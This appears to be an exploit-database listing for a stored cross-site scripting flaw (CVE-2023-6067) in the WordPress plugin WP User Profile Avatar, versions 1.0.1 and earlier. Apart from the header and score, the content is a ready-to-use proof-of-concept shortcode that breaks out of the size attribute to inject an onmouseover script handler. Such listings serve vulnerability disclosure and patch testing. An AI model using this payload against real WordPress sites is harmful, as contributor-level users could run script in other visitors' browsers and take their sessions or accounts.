Exploit for WP User Profile Avatar <= 1.0.1 - Contributor+ Stored XSS CVE-2023-6067

Name: Exploit for WP User Profile Avatar <= 1.0.1 - Contributor+ Stored XSS CVE-2023-6067
Rating: 5 (52 reviews)

2024-03-25 | CVSS 8.3

## https://sploitus.com/exploit?id=WPEX-ID:AE8E225A-5273-4DB1-9C72-060304CCA658
Enter the following shortcode in a post, and hover the resulting HTML.

[user_profile_avatar size='" onmouseover="alert(/XSS/)"']